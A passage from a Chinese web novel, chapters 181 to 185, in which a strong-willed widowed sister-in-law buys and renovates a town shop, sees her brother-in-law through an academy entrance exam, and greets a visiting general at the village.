《恶毒寡嫂逃荒路上带飞全家》 第一百八十一章 买铺子 高娇娇一甩鞭子,驴车哒哒跑了起来。 不到一个时辰就到了县城,杜衡以为高娇娇会直接去书院附近找客栈投宿,哪知她把驴车赶到离书院还有三里远的街上就停下了。 见高娇娇眯着眼睛盯着街道两旁的铺子看个不停,杜衡心中有个不好的预感,他赶忙问道: “嫂嫂,你来这儿作甚?” 高娇娇看到了她想找的东西,笑眯眯道: “买个铺子。” 预感成真,杜衡眼前发黑,心慌气短。 深吸了口气,勉强稳住心神,杜衡赶紧拦住就要往铺子走的高娇娇,连声道: “等等,等等,嫂嫂,你不是在开玩笑,是真的想买铺子? 你知不知道一间铺子得多少银子? 你买铺子要做什么? 高大伯他们能同意你进城做生意吗?” 高娇娇推开杜衡,继续往前走,头也不回道: “我买个铺子出租,顺便给你在书院弄个落脚处。 你要是在书院住的不舒服,或者被人欺负了,也不至于无处可去。 还有就是,我将来可能要做生意,或许会用到。” 杜衡头皮都要炸了,他就是一个穷书生,哪儿用得着跟有钱人家的少爷一样,还专门在书院附近弄个住的地方。 这一瞬杜衡忽然理解姚大娘了,他这嫂嫂哪儿都好,就是花钱也太大手大脚了。 从没做过生意的人,居然一出手就要买铺子,这不是胡闹嘛。 可进了铺子,听了高娇娇跟店家的攀谈,看着她一通乱砍,把原本要价六十八两一间的铺面,硬生生砍到了五十二两。 杜衡发现自己太过武断了,这世上真有无师自通的人,他嫂嫂到底什么时候琢磨出来的生意经? 居然把做了几十年生意的老掌柜都唬住了,以为他嫂嫂是家里世代做生意的好手。 等高娇娇付了银子,从衙门拿到了铺面的新房契,杜衡还有点回不过神来。 忍不住把房契翻来覆去看了又看,自言自语, “这么简单就买了?五十二两银子一下子就没了? 这要是租不出去可怎么办.......” 高娇娇一把夺回房契,当扇子扇着没好气道: “你啊,就是咸吃萝卜淡操心,我早就计划好了。 上次进城买东西的时候,我就跟那些掌柜伙计什么的都打听过了,岚县这边落户了不少难民,城里的房价比之前涨了不少。 这条街不是最繁华的街道,铺面要价不高,这间铺子的位置又有些靠后,店家急着出手,我也算是捡了个漏。 你别看这间铺子前头不算大,后头可是有个挺大的院子,还有三间屋呢。 我回头找个泥瓦匠,把前面通往后面的那条道封死,盖个顶,再开个后窗。 这样前头就是内外套间的铺面,后头就是一个单独的小院子。 前头按铺面出租,一个月最少也能收四五百文。 后头按小院出租,怎么一个月也得二百文吧。 要是都能顺利租出去,我一个月就能收七八百文,五十二两要不了几年就能收回本。 我还净落一个铺子一个小院,这稳赚不赔的买卖,你还有什么可担心的?” 杜衡被高娇娇震住了,他从没想过还能这么干,原来这就是拿钱生钱啊。 高娇娇怕吓着杜衡,没再继续往下说。 这只是她最保守的计划,比起收租,她还有很多大胆的计划呢。 岚县虽然人口只有五六万,但其中有很多都是军户,军户可是有稳定的收入,他们的消费能力可比一般百姓强。 只要好好谋划,赚钱一点都不难。 只不过,她手里本钱不多,村里还有很多地方要投钱,现在不是来城里做生意的最好时机,就先收拾出来收租吧。 买铺子讨价还价的时候,高娇娇让老掌柜把一应家具都留下了。 后面三间屋子原本住了老掌柜一家,桌椅板凳床柜子什么的都不缺,只用买两床被褥,把床一铺就能住人。 高娇娇打算把院子空下来自己用,村里离书院毕竟有段距离,万一碰上个下雨下雪赶路不方便,杜衡回不去,又不想一个人在书院,就可以来这里住两天,放松放松心情。 另外就是以后大家免不了要进城,不管是卖猎物还是买东西,有个落脚的地方会方便一点。 杜衡听高娇娇这么一说,觉得也有道理,便不再反对了。 毕竟花银子的时候他都没拦住,现在更加拦不住。 于是,杜衡只能跟着高娇娇继续花钱,买被褥,找泥瓦匠,吃饭,买各种不知道干嘛用的东西,买零嘴....... 银子如流水一样花了出去,高娇娇的钱袋扁了,杜衡的心也被刺激的麻木了。 直到傍晚吃了饭,高娇娇手一挥催促杜衡, “炉子上有热水,快去洗了早些睡。” 杜衡本能点头,点完了才觉得不对,赶忙道: “我还没温书呢,明天就要考试了,我还得再准备准备——” “你好好睡一觉,就是最好的准备了。” 高娇娇不由分说,就推着杜衡去打水。 她就是怕他太紧张,才拉着他干这干那。 杜衡在家都快把书翻烂了,朱钰也说他学的很扎实,就是心态不够稳,太过紧绷不够放松。 高娇娇就想办法帮他放松了一下,希望他不会被吓到,明天考试一切顺利。 杜衡本以为自己会睡不着,毕竟明天就要考试了,他要是考不到甲等,就要交一百两银子束脩。 这么重要的时刻,他肯定会紧张会担忧,没想到躺床上没一会儿就睡着了。 可能是晚上吃的太饱,也可能是今天走的太多冲击太大太累了,总之,他这一晚睡的很安稳,连梦都没做一个。 次日一早,杜衡神清气爽去了书院。 高娇娇没去送杜衡,她犯懒不想起床。 睡惯了家里的大炕,忽然睡回木床,哪怕是裹着新被子她都不觉得暖和。 睡到半夜还险些被冻醒,气的她当即就决定,明天就去把床给卖了,请人过来盘炕。 这鬼地方,都三月初了夜里还这么冷,难怪都说边关苦寒,没有炕过不了一点冬。 九川书院门口,来参加考试的学子们早就等在了门口。 杜衡紧了紧挎包背带,径直穿过人群,将报名单交了上去,领到了自己的考试牌。 五十二号! 这个号看的杜衡眼皮一跳,居然跟嫂嫂昨天买铺子花的银子数目一样,还真是巧。 “杜衡?杜衡!真的是你啊.......” 忽然传来的激动喊声,让杜衡不止眼皮跳,额头的青筋都快跟着跳了。 他强忍着扶额的冲动,看向那个叽哩哇啦大叫着朝他扑过来的傻大个,冷声喝道: “凌十三,安静些,这是书院。” 凌十三见到老友滚烫的心,被泼了一瓢凉水,扬起的笑脸凝固了片刻,又重新扬起笑脸往前跑。 杜衡被凌十三没心没肺的灿烂笑脸,刺的眼睛有点难受。 要是他没记错,他俩上次在并州府算是撕破脸了吧,这人怎么能跟没事人一样,还主动往他跟前凑呢? 凌十三一口气冲到杜衡跟前,连声道: “我想着你就要来,你果然就来了,咱们以后又能在一起读书了,真是太好了.......” 他这会儿声音压得比较低,杜衡没再说什么,只无情提醒道: “以你的成绩,应该不会跟我分到一起。” 凌十三困惑地眨了眨眼睛,杜衡无语道: “你不会到现在还不知道,书院要进行入学考试,会按照考试成绩划分等级,不同等级的学子是不在一起上课的吧?” 第一百八十二章 入学考试 凌十三懵了,急地抓耳挠腮原地转圈。 他什么都不知道啊,他爹就是顺路把他给捎了过来,跟他说今天过来考试,就走了。 临走前给了他两张银票,缺什么让他自己看着买,还说敢惹事偷跑回家就打断他的腿。 然后就着急忙慌的带着押镖的队伍走了,都没回头多看他一眼。 要是不能跟杜衡进一个班,那他大老远跑来这个书院干嘛? 吃饱了撑的找罪受吗? 凌十三蔫了,垂头丧气,无精打采。 看的杜衡不知道该怎么安慰,凌家人的心也太大了,什么都不打听就这么把凌十三给送了过来。 旁边一人似是觉得凌十三这副样子可笑,也可能是听到了凌十三用方言跟杜衡说话,嗤笑一声讥讽道: “土包子,什么都不知道也敢来考九川书院。” “呵呵,肯定又是不知道哪个犄角旮旯跑来的破落户,在自己老家混不下去了,就跑来跟咱们抢名额。” 那人的同伴也紧跟着嘲讽道。 凌十三一听这话不由大怒,脖子一梗就要发火,杜衡赶紧一把拽住他,压低声音提醒, “这儿可是书院大门口,别闹事,会被取消考试资格的。” “那就任由他们笑话咱们?” 凌十三本来就郁闷,现在更是气的想打人。 杜衡不生气,他被人鄙夷嘲讽的太多了,被不痛不痒说两句实在算不得什么。 更何况这俩人不过是对外乡人有偏见,不满来岚县落户的人太多,会抢占他们进书院读书的名额。 说到底,还是对自己的学识不自信,担心考不过罢了。 但见凌十三气成这样,想到高娇娇的叮嘱,杜衡还是破天荒说了句, “上不怨天,下不尤人。故君子居易以俟命,小人行险以侥幸。 今日考试,各凭本事,何必做无谓的口舌之争。” 两人大怒,这小子居然敢骂他们。 凌十三没听懂,小声问杜衡, “你刚说的君子小人是什么意思啊?” 杜衡忍不住翻白眼,凌十三比他早进书院好几年,书都读到哪儿去了,居然连《论语》里的句子都不知道。 那俩人还以为杜衡在冲他们翻白眼,更加生气,撸起袖子就要朝杜衡冲过来。 拼着今日考不了试,他们也要揍这两个不知天高地厚的土包子一顿。 杜衡没想到岚县的学子这般彪悍,居然不跟他争辩,而是直接就要动手,不由有点慌。 倒不是怕凌十三打不过他们,而是担心事情闹大了会影响考试。 凌十三却高兴的很,一脸兴奋道: “他们要是先动手,可就怨不得我了吧? 杜衡,你别怕,我这半年跟着我爹他们东奔西跑,功夫大有长进。 就这两个干巴猴,我一拳就能撂倒一个!” 杜衡听到这话更慌了,赶忙想要制止。 却见那俩个凶神恶煞要冲过来打他们的人突然不动了,齐刷刷扭头看向前头。 杜衡不由也跟着扭头,只见书院大门开了,一个穿着蓝色长衫二十来岁的书生,从里面走了出来。 只见他面如冠玉,身如翠竹,背手一站,那股子清冷威严的气势一下子就压了下来。 嘈杂的人群瞬间安静了下来,所有人都乖乖站好,等着书生发话。 书生扫视众人一眼,扬声道: “诸位既然今日前来应考,就要守我九川书院的规矩。 所有人按照考牌号依次入场,不得随意走动,不得交头接耳,不可夹带作弊! 如有违背,立刻赶出考场,日后也不得再参加书院入学考试。” 杜衡震惊不已,这个年轻人不是做开场迎宾的学长,居然是此次考试的考官。 凌十三也很震惊,他不像杜衡那样爱自己琢磨,而是扭头就找人问, “这人是谁?好大的威风啊。” 被他问的人正是刚才想跟他动手的两人之一,逮到机会,立刻嘲讽道, “你连他都不知道?他可是天字班的师兄,别以为九川书院只有甲乙丙丁四个班,上头还有天字班呢。 看见他腰带上的玉佩了吗? 那就是天字班的标志,能进天字班的,那可都是有举人功名在身的!” 凌十三震惊地张大了嘴巴,举人啊,这么年轻,看着比他也大不了几岁。 他莫非是打从娘胎里出来就能过目不忘? 杜衡心里的震惊也不比凌十三少,看过甲班头名的文章后,他信心大增,觉得自己只要正常发挥,考入甲班,甚至压那个头名一头也不是没有可能。 可看着眼前这位天字班的师兄,杜衡觉得自己狂妄了,但对进入九川书院读书也更加向往了。 九川书院比荣阳的县学厉害太多了,这么年轻就能考中举人,在荣阳县想都不敢想。 能教出这样的学生,书院的夫子肯定也厉害的很。 难怪连凌十三都从并州府跑来求学,他一定要考入甲班,一定要像这位天字班的师兄一样早日中举,报答嫂嫂的恩情。 杜衡在考场上奋笔疾书,高娇娇在后院跟泥瓦匠讨价还价。 她本以为五两银子整修房子足够了,哪知这城里的泥瓦匠师傅见她是个外地人,还是个年纪轻轻的小娘子就漫天要价。 噼里啪啦一通算,竟给她算到了八两银子。 这高娇娇哪儿能忍,当即就拿出纸笔,让师傅一笔笔说出来再重新算算清楚。 师傅见高娇娇识字会算数,顿时就后悔了,但拗不过高娇娇坚持,只得把工钱提高,把料钱往下压了压。 高娇娇听到拉一车砖就要五百文,差点没把笔捏断,这老头想钱想疯了,把她当傻子糊弄呢。 要不是左邻右舍都说这老头手艺好,她又急着修房子没工夫再找人,她肯定直接换人。 咬着后槽牙把一应花费都记下,高娇娇开始往下划, “砖瓦我自己拉,自己搬,不用你。 木料、沙子、土啊什么的,我都自己扛,也不用你....... 剩下的就是工钱,三个人两天工,不管饭,我给你算三两银子,你干不干?” 老师傅呲牙咧嘴嘲笑, “小娘子可别跟我老头子开玩笑,你自己怎么搬怎么扛? 别现在说你管,到时候还得我带人弄,你再给我加钱,可就不是现在说的这个数了。” 高娇娇也笑,亮出一口白牙,随手抓起旁边的烂砖头,轻轻一捏。 老师傅瞳孔震颤,砖碎了。 他忍不住揉了揉眼睛,高娇娇站起身,抬脚往自己刚才坐的板凳上一踩。 厚实的榆木板凳,咔嚓一声,从中间断裂开来。 老师傅揉眼睛的手僵住了,忍不住想跑。 老天爷啊,这是打哪儿来的女煞神,这么大的力气吓死个人了。 他居然还想敲她一笔,他真是老虎嘴里拔牙,疯了啊。 高娇娇冷哼一声,盯着老师傅一字一句道: “敢跑,腿打断!” 老师傅立刻摆手,弓着腰,拼命挤出一丝笑容,连声道: “是小老儿有眼不识泰山,小娘子莫怪,莫怪。 就按你说的三两银子来,我保管带人给你整修的妥妥当当。” 高娇娇满意了,抬了抬手道: “那你先带人干着,我这就按你说的去买砖瓦沙子那些。 我可知道你家住在哪儿,有几口人,你别想趁我走了就溜,这活儿你不给好好干,我可跟你没完。” 老师傅赶紧点头,等高娇娇走出去了才敢擦汗。 初春的天,他愣是被吓出了一身冷汗,恨不得扇自己一耳光。 真是人老眼花脑子坏了,居然敢把阎罗当娇娘,差点就把自己的老命玩完。 他刚才哪儿是跟人谈生意,分明是在鬼门关跟前转了个圈啊。 等到徒弟们过来,七嘴八舌问他为啥接这种麻烦又不怎么挣钱的小活时,高娇娇牵着驴车回来了。 第一百八十三章 小心思 两个徒弟看到高娇娇一把从车上抱下来那么粗的一根木料,紧接着一手一袋沙子就那么随随便便拎了下来。 顿时不问了,嘴巴闭得紧紧的,大气都不敢喘。 老师傅见状,心里说不出的畅快,终于也有人跟他一样了。 果然一个人受苦心里堵,一群人一起受苦,就能苦中作乐了。 等到杜衡出了考场,回到院子时,高娇娇已经把所有材料都买回来放好了。 正悠闲地坐在不知从哪儿弄来的太师椅上,晃着脚喝着茶,看着泥瓦匠们干活呢。 凌十三看到这一幕不由感叹, “你嫂嫂怎么比我娘还像地主婆,我娘监督我家下人干活时都没她这么悠闲。” 杜衡动了动嘴唇,想解释他嫂嫂不是地主婆,那些泥瓦匠更不是他家下人。 可看到高娇娇放下茶杯,拧着眉才抱怨了句, “一上午才干了这点活儿,你们这也太慢了。” 那个胡子头发都发白的老师傅立刻陪着笑道歉,还连连保证会加紧干活,哪怕中午不吃饭也会把剩下这点干完,杜衡沉默了。 他嫂嫂现在这样确实像地主婆,主要也是老师傅的态度太卑微,好像很害怕他嫂嫂似的。 他嫂嫂人那么好,这个老师傅有什么好怕的啊? 见杜衡回来,还带了个小尾巴一样的凌十三,高娇娇有点意外但又不是很意外,起身冲他们笑着道, “考完了?饿了吧? 走,出去吃饭,我听人说有家饭馆鱼做的特别好,咱们去尝尝。” 杜衡没有下馆子的习惯,觉得下馆子太花钱,本能就要摇头拒绝。 凌十三却已经抢先应下,还一脸期待问个不停, “你说的是不是西街那家鲜鱼庄?我听人说他家掌柜做鱼很有一手,片的那个鱼片特别薄,炖的汤也特别鲜,我早就想去尝尝了。” 高娇娇点头, “是那家,你也听说过啊,那怎么没去尝尝呢?” “好吃的太多了,我还没顾上去。嫂嫂我跟你说啊,东街有家烤肉铺子,做的那个烤肉那叫一个香。 我连着吃了三顿都不腻,尤其是那个梅子烤肉,也不知道是怎么做的,咸香中带点甜,嚼完咽下去的时候还略微有一点点酸。 那个酸一下子就解了油腻的味儿,让你吃完还想吃,怎么都吃不够.......” 杜衡愣愣跟在后头,看着凌十三抢占了他的位置,挤到嫂嫂旁边说个没完,不由拧起了眉头。 他后悔把凌十三带过来了,这人没礼数的很,一上来就喊“嫂嫂”,那是他嫂嫂,同他姓凌的有什么关系? 还离他嫂嫂那么近,知不知道男女有别,知不知道礼教大防,知不知道礼义廉耻....... 高娇娇走着走着发现杜衡没跟上,便扭头喊了声。 杜衡听到高娇娇喊他,心里的不快瞬间消失,忙快走几步跟了上去,挤开凌十三,主动说起了自己今天的考试。 “嫂嫂,你怎么不问问我考的怎么样?” 高娇娇笑笑, “都已经考完了,不管考的怎么样,结果都不可能改变了。 问不问都一个样,反正不管考成什么样,肚子饿了都要吃饭。 那不如先去吃顿好的,做人嘛,最重要的是开心。” 杜衡皱了皱眉,做人最重要的不是出人头地,光耀门楣吗? 自己开不开心有什么重要的,重要的是让家里人开心,让自己在乎的人开心,不是吗? 凌十三听到这话,如遇知音,恨不得拉着高娇娇去见见他娘,让她把这番话再跟他娘好好说说。 他爹娘从来都不关心他开不开心,只在乎他考的怎么样。 考的好,好吃好喝银子随便给。 考不好,劈头盖脸俩人一起打。 就像这次,一边说着不求你读出来个什么结果,只要你能长点脑子明辨是非就行;一边又说既然来了就要好好读,最好能中个秀才什么的。 他们也不想想,他要是个读书的料,怎么会读了这么多年还是一塌糊涂? 指望他中秀才,只有祖坟冒青烟,祖宗们在地底下把腿跑断。 杜衡见凌十三跟狗见到骨头一样,两眼放光地盯着高娇娇,还一副恨不得要上手的样子,顿时大怒。 “你想干嘛?” 杜衡一把推开凌十三,恶狠狠瞪着他,刚想骂“登徒子”,又想到这是在大街上,立刻把嘴闭上。 凌十三被杜衡推的一趔趄,不解地看着他, “你推我干嘛?” 杜衡见凌十三眼中并无任何暧昧情愫,意识到自己可能误会了,但他不尴尬,反倒更加黑沉着脸喝道: “男女有别,你别动不动就往我嫂嫂身边凑,当心影响我嫂嫂清誉。” 凌十三瞠目结舌,难以置信。 他干什么了? 他什么也没干啊! 天地良心,他就是觉得嫂嫂是知音,想跟嫂嫂多说两句话而已! 怎么就影响嫂嫂清誉了? 这可是在大街上,人来人往的,更何况他离嫂嫂还有一臂远呢。 高娇娇也被杜衡这话雷的外焦里嫩,这个小书呆子,没看出来还挺古板的。 受不了这个话题了,高娇娇忙问杜衡, “你不是要跟我说考试吗?” 杜衡挺了挺后背,想要淡然自若的跟嫂嫂分享这个好消息。 不能笑,显得太骄傲,也不能绷着脸,显得太严肃,更不能眼巴巴,显得太幼稚,要—— “考试成绩当场就公布了,他考了第一名,被选入甲班了。” 凌十三嘴快一步,破坏了杜衡的计划,还让他差点被自己的口水呛到,咳了起来。 高娇娇没留意杜衡这细微的小心思,只顾着跟凌十三确认这个好消息。 她估摸着杜衡应该考的不错,没想到他居然考这么好。 这下好了,不光不用出束脩,他甚至还能从书院往回赚银子呢。 “太厉害了,不愧是你啊!” 高娇娇笑着拍了拍杜衡肩膀,拍的杜衡刚站直的身子,不由晃了晃。 他本就咳的泛红的脸,一下子更红了,走路甚至都有些轻飘飘起来。 嫂嫂拍他肩膀,夸他厉害,开心。 杜衡使劲抿了抿唇,压住拼命想往上翘的嘴角,想要谦虚几句,可一扭头,高娇娇已经去问凌十三了, “你考的怎么样,能跟我家杜衡去一个班吗?” 杜衡好不容易压下去的心,忽地又翻腾了起来。 嫂嫂说“我家杜衡”,“我家”,他和嫂嫂才是一家人,凌十三算什么啊,他就是个外人。 想到刚才被凌十三打乱的计划,杜衡故意抢先回道, “嫂嫂,他考的不错,超常发挥了,进了丁班。” 高娇娇听到“考得不错”都已经准备恭喜了,哪知超常发挥才能进丁班,她这恭喜的话便有点说不出口了。 凌十三被杜衡抢先说出成绩,一点也不觉得难堪,反倒得意洋洋冲高娇娇显摆, “嫂嫂,我这次真是下笔如有神助,写完我都不相信这么好的文章居然是我写出来的。 你是没看见,天字班那位师兄公布成绩的时候,笑话我和杜衡是土包子那俩人脸色那叫一个难看。 我都考上了,他俩却连一个都没考上,就这水平还敢嘲笑我们,嘁,笑死个人了。” 高娇娇......... 杜衡........ 他居然还骄傲上了,这心态,也是没谁了。 三人说说笑笑到了鲜鱼庄,点了店里的招牌一鱼五吃。 四斤多的大草鱼,被厨子做成了五道美食,吃的杜衡大开眼界,吃的凌十三赞不绝口。 吃的高娇娇发现了商机,趁着结账一通攀谈,跟掌柜口头定下了卖鱼的生意。 第一百八十四章 寻人启事 从鲜鱼庄出来,杜衡和凌十三还觉得不可思议。 高娇娇受不了这俩没见识的了,嫌弃道: “不过就是个口头约定,算不得什么生意,我就是想着咱们村有河,河里有鱼,顺嘴问了句。 等回头我找人弄点鱼苗,在河边圈个池子专门养鱼,那才叫正经做生意,这不过就是让大宝他们几个赚点零花钱。” 凌十三一脸讨好笑道: “嫂嫂,我也想赚零花钱,你也带带我呗。” 杜衡瞪了凌十三一眼,凌十三不满瞪了回去, “你瞪我干啥?就咱俩这关系,你嫂嫂这么有本事,你不带兄弟一起发财,你心里过意的去?” “过意的去,你别往自己脸上贴金,咱俩没关系。” 杜衡上前一步,挤开凌十三,强势挡在高娇娇旁边,不让凌十三再靠近。 凌十三心里这个委屈气闷啊,又不敢使劲推杜衡,只能可怜巴巴冲高娇娇嚷, “嫂嫂,你看他,之前的事我都跟他道歉了,他还这样........” 高娇娇忍不住揉了揉胳膊,受不了了。 一米八壮汉撒娇,这谁能受得了? 不过跟凌十三在一起的杜衡,倒是难得一见的幼稚,也许这就是跟同龄人在一起的快乐吧。 高娇娇不理解,但是尊重。 回到小院,高娇娇让杜衡和凌十三监工,她要睡个午觉,再去找人过来盘炕。 凌十三忍不住跟杜衡嘀咕, “你嫂嫂娘家真不是地主?我怎么看她也不像是个农妇啊。 懂得多,还那么能说会道,会吃,会享受,她这日子过的可比我娘都舒服。” 杜衡白了凌十三一眼,警告道: “别对我嫂嫂那么好奇,时刻谨记男女大防,我嫂嫂可是在守寡。” 哪知凌十三立刻道: “你嫂嫂最奇怪的一点就是完全不像嫁过人的样子,我见过的寡妇可没有她这样的。 不信你出去随便找人问问,她要是不把头发梳成妇人模样,任谁都会把她当小姑娘。” 杜衡咬了咬后槽牙,他嫂嫂当然还是个小姑娘,他那短命的大哥还没拜完堂就被抓走了。 可这种话他一个小叔子怎好跟外人说? 他当时到底是怎么鬼迷了心窍,把凌十三这个讨人厌的家伙给带回来了啊? 因为家里要盘炕,高娇娇晚上便找了个家客栈住。 至于杜衡和凌十三,年轻后生火力大,把床搬到前面铺子里凑合睡一晚也冻不坏,正好还能帮着守夜。 次日一早,高娇娇提着刚出炉的包子和羊肉汤回来了。 凌十三看到好吃的就眉开眼笑,道了声谢就立刻吃了起来。 杜衡先问高娇娇吃了没,得知她已经吃了,这才开始吃。 吃过早饭,高娇娇就套上驴车,拉上行李,送杜衡和凌十三去书院。 凌十三见高娇娇给杜衡准备了那么多东西,不由有点酸, “嫂嫂,我找人问了,书院里有卖的被褥枕头,不用大老远从家里带。” “自家做的用料扎实,睡着舒服。” 高娇娇说着,指着捆在最上头的一个长卷对杜衡道: “这是毛毡,我昨天买的,你铺到床铺最下头,能防风防潮,现在晚上还有点冷,你小心点别受凉了。” 杜衡乖乖点头,看看那卷毛毡,再看看高娇娇,像是沐浴在冬日暖阳中,晒的骨头都是暖的。 凌十三更加酸,他娘连只袜子都没给他准备,还说大老远背来背去麻烦。 人家嫂嫂怎么不嫌麻烦? 把人送去书院,高娇娇回来继续修房子。 她跟家里说好了等把杜衡安顿好了再回,多在城里待两天也没事,不过铺子出租的事得抓点紧,她还得赶回去种地。 跟老师傅再三确认,明天就能完工后,高娇娇找到了牙行。 想尽快租出去,找牙行比自己在铺子门口挂旗子来得快。 只是高娇娇没想到,这家据说很靠谱的牙行居然开在西街路口,斜对面就是衙门正门口。 站在牙行门口一扭头,就能看到衙门的大门。 这让她一时脑子有点转不过来,有种贩卖人口的地方,就在公安局对面的荒唐。 但转念一想,这是古代,买卖人口是合法的。 高娇娇不由暗暗提醒自己入乡随俗,别太大惊小怪。 可进了牙行,说完租房的事,看到一个牙行的伙计风风火火跑进来,说衙门后墙的告示已经贴好了,高娇娇还是惊地瞪大了眼睛。 牙行这么干,衙门居然都不管? 接待高娇娇的牙行管事,似乎看出了高娇娇的疑惑,主动解释道: “那块墙本来就是衙门留出来张贴告示用的,这些告示不同于贴在衙门告示牌上的告示,都是些鸡毛蒜皮的小事。 比如谁家的东西被偷了,谁家的墙角被挖了,衙门一时半刻找不到事主,主家又闹个不休,就让我们帮忙贴个告示,看看有没有知情人帮着解决一下。 你若是以后遇到这种事,也可以去那边贴个告示,这样有人看到了,就会主动过去找你。” 高娇娇听到这话,心念一动,忙问, “那我要是找人,能不能去那边贴个告示?” “当然可以,不过找人比较慢,按天贴太费钱,包月比较划算。” 管事一点也不嫌烦,很有耐心,细细跟高娇娇说了一通。 高娇娇听得不住点头,大受震撼,谁说古代人保守的,人家这生意直接跟衙门一起做,简直不要太灵活。 张贴告示一天十文,包月二百五十文,包年二两银子。 只要花了钱,牙行不仅给你贴布告,还定期给你换新的,确保不管是风吹雨淋还是其它原因,你那张布告都清晰可见地贴在那面墙上,会被路过的所有人看见。 这跟广告有什么区别? 还是贴在衙门后墙上的广告栏,城中百姓都知道,简直不要太方便。 高娇娇当即就决定贴半年,一通讨价还价后,以首次合作九折优惠的价格,让牙行给贴了张寻人启事。 大嫂和三嫂的娘家人至今还音讯全无,希望贴了寻人启事,能有点线索吧。 是生是死总要有个定论,不然大嫂和三嫂的日子都过不安稳。 办完这件事,高娇娇就没旁的事了,只用在院里等着租客上门。 牙行办事效率很高,高娇娇的铺子很快就顺利租了出去,炕也盘好了,她把后院收拾了一通,就启程回村了。 石楼村,高长天带人忙活了三天,终于把所有粪肥都拉到了地里。 正准备安排人施肥平整地,就见高大宝一脸惊慌地跑了过来, “爷,不好了,有一队人马朝咱们这边过来了。 我估摸着有百八十人,都骑着马,看着不一般。” 李二惊呼, “不会是马匪来了吧?” 说着,就要回家拿大刀。 他们这日子才安生几天啊,甭管是马匪还是土匪,只要敢来,他一刀一个,都给他们砍喽。 罗子一把拽住李二,没好气道: “你急啥,先去看看情况再说。” “看啥看?先把刀拿上才最要紧,万一真是马匪你再跑回去拿就来不及了!” 李二急得很,他不允许任何人破坏他们的好日子。 罗子还要再拦,高长天开口道: “咱们兵分两路,一路跟我去村口看看情况,一路回去准备。 跟以前一样,该埋伏埋伏,该藏东西藏东西。 不是马匪最好,要真是,那就让他们有来无回!” 众人顿时兴奋了起来,他们又要发财了! 朱钰急匆匆赶过来时,高长天正带着人往村口走,他快跑追上高长天,压低声音提醒道: “大哥,你还记不记得王里正说过,每年三月耕种的时候,高将军会亲自带人过来巡视的事?” 第一百八十五章 非去不可了 高长天的脚步微微一顿,继续稳步朝前,偏过头小声问, “你怀疑来的是高将军?” 朱钰点头, “不管是马匪还是蛮子假扮的马匪,都不会这么大摇大摆从官道上直接过来。” 高长天觉得朱钰说的有道理,但防人之心不可无,他们还是要积极应对。 但是这气势嘛,不能一上来就表现的太凶悍了。 高大宝看到官道另一侧逐渐靠近的一人一车,急忙对高长天道: “爷,你看那边那个,会不会是我姑姑?” 高长天脚下一趔趄,赶忙看过去。 黑驴,板车,裹着羊皮袄戴着皮帽子的车夫,那不是他闺女,又是哪个? 往右看,黑压压一队人马正在急速靠近。 往左看,一人一车晃晃悠悠也在靠近。 这,这是要撞上啊! 高长天慌了,本能就要冲高娇娇那边喊,被朱钰一把拽住, “大哥莫慌,娇娇好像停下来了。” 高长天定睛一看,还真是,闺女是不是看到那伙人了,可她愣着不动干嘛,赶紧先找个地方躲起来啊! “我去接姑姑!” 高大宝焦急万分,拔腿就想跑过去,被高二壮一把摁住, “你别过去添乱,你姑姑下车了。” “那队人马也停下来了!” 罗子也慌了,这情景由不得他不多想,那队人马不会是看出来娇娇是个女的了吧? 高大壮急的不行,连声冲高长天嚷, “爹,让我带人过去,挡住那些人,不能让他们靠近妹妹。” 高长天也急,但他还有理智,主要是朱钰死死拽着他的胳膊,掐的他有点疼。 朱钰左边看看右边看看,脑袋都快转成拨浪鼓了,生怕一个错眼,那队人马就朝娇娇冲了过去。 可看着看着,朱钰发现不对了,娇娇她,好像在抬车? 官道上,高娇娇一边抬车一边骂, “哪个没长脑子的猪跑到官道上挖哪门子的坑,差点害姑奶奶翻车。 王八蛋,别被姑奶奶逮到,看姑奶奶不扒了你的皮抽了你的筋,把你剁碎了铺路........” 深吸一口气,把怒气转化为力气,高娇娇一使劲,把板车轮子从坑里抬了出来。 将车平稳放好,拍了拍手,高娇娇直起腰,愣住了。 前面从哪儿冒出来这么多人马? 都站着不动看她干啥? 盯着最前头那个络腮胡子大汉看了两眼,看到他脚上的靴子时,高娇娇忽然想到了一种可能,目光微闪。 堆起笑脸,高娇娇扬声问道: “不知来的可是孟门关的高将军?我是石楼村里正的女儿,我爹听说您可能会过来,让我进城去买了些好酒好肉,想好好招待一下您。” 高铁峰又吃了一惊,他虽算不得什么泰山崩于顶也面不改色的大人物,但也算是身经百战见过世面的将领了。 可就这一会儿,他就被惊到两次。 一个女子,居然徒手把一辆装满了东西的板车抬了起来,还一个照面就道破了他的身份。 有意思,看来,这个石楼村他今天是非去不可了。 高长天的脑子快成浆糊了,他明明一直盯着看的,却怎么也没看明白,他闺女怎么就把这队人马给带过来了。 朱钰看到高娇娇冲他眨眼睛,又用手指悄悄指着那个络腮胡子的靴子,一下子就明白了。 络腮胡脚上穿的看着像是普通的黑靴,可仔细看就发现不一般。 底子比平常靴子厚,中间一层还隐隐有光泽,应该是在鞋底边缘镶嵌了一层铜,这样能减少磨损。 除了鞋底跟普通靴子不用,鞋面也跟普通靴子不一样,有暗纹,内侧不那么贴着腿,应该是有夹层,方便藏匕首或信。 这种暗纹厚底皮质马靴,分明就是朝廷武将的战靴。 再看高娇娇在前面领路,把后背完全暴露在对方眼皮底下的做派,这个络腮胡十有八九就是那位高将军了。 得到朱钰的悄声提醒,高长天表现出了恰到好处的震惊和慌张,再用笨拙的行礼表现了农户的淳朴后,终于把人迎进了村。 埋伏在村口的李二等人,也被提前跑过来的高大宝等人给摁住了。 高娇娇主动让出位置给朱钰,朱钰顺着高铁峰的视线,不紧不慢跟他说着村里的情况,耕种的安排,遇到的困难,解决的办法....... 高长天稍微退后一步,继续扮演笨嘴拙舌的淳朴老农形象。 高大壮等人回到各自的地里,拼命找活儿干,展现忙碌的场景。 已经在路上演过戏的众人,配合的相当默契,就算偶有失误,也能顺势展现一下乡下人没见过大人物的慌乱。 看的高铁峰很是满意,觉得难怪徐进让他多照顾,这个村落户的难民看着都挺老实,甚至都有点老实过头了。 高娇娇找到机会,就赶紧赶着驴车回去通知姚春香她们准备饭菜。 一下子来了这么多人,她从城里带回来的那点肉怕是不太够,得去双水村买几只鸡才行。 贵客临门,肯定要好好招待,才能给大家带来更好的机会啊。 高铁峰把地里转了一遍,十分满意石楼村人的勤劳,便没再推却,在高长天和朱钰极力邀请下进村吃顿便饭。 姚春香已经带着罗子娘等人整治出了一桌酒菜,还做了两大锅烩菜,烙了厚厚一摞饼。 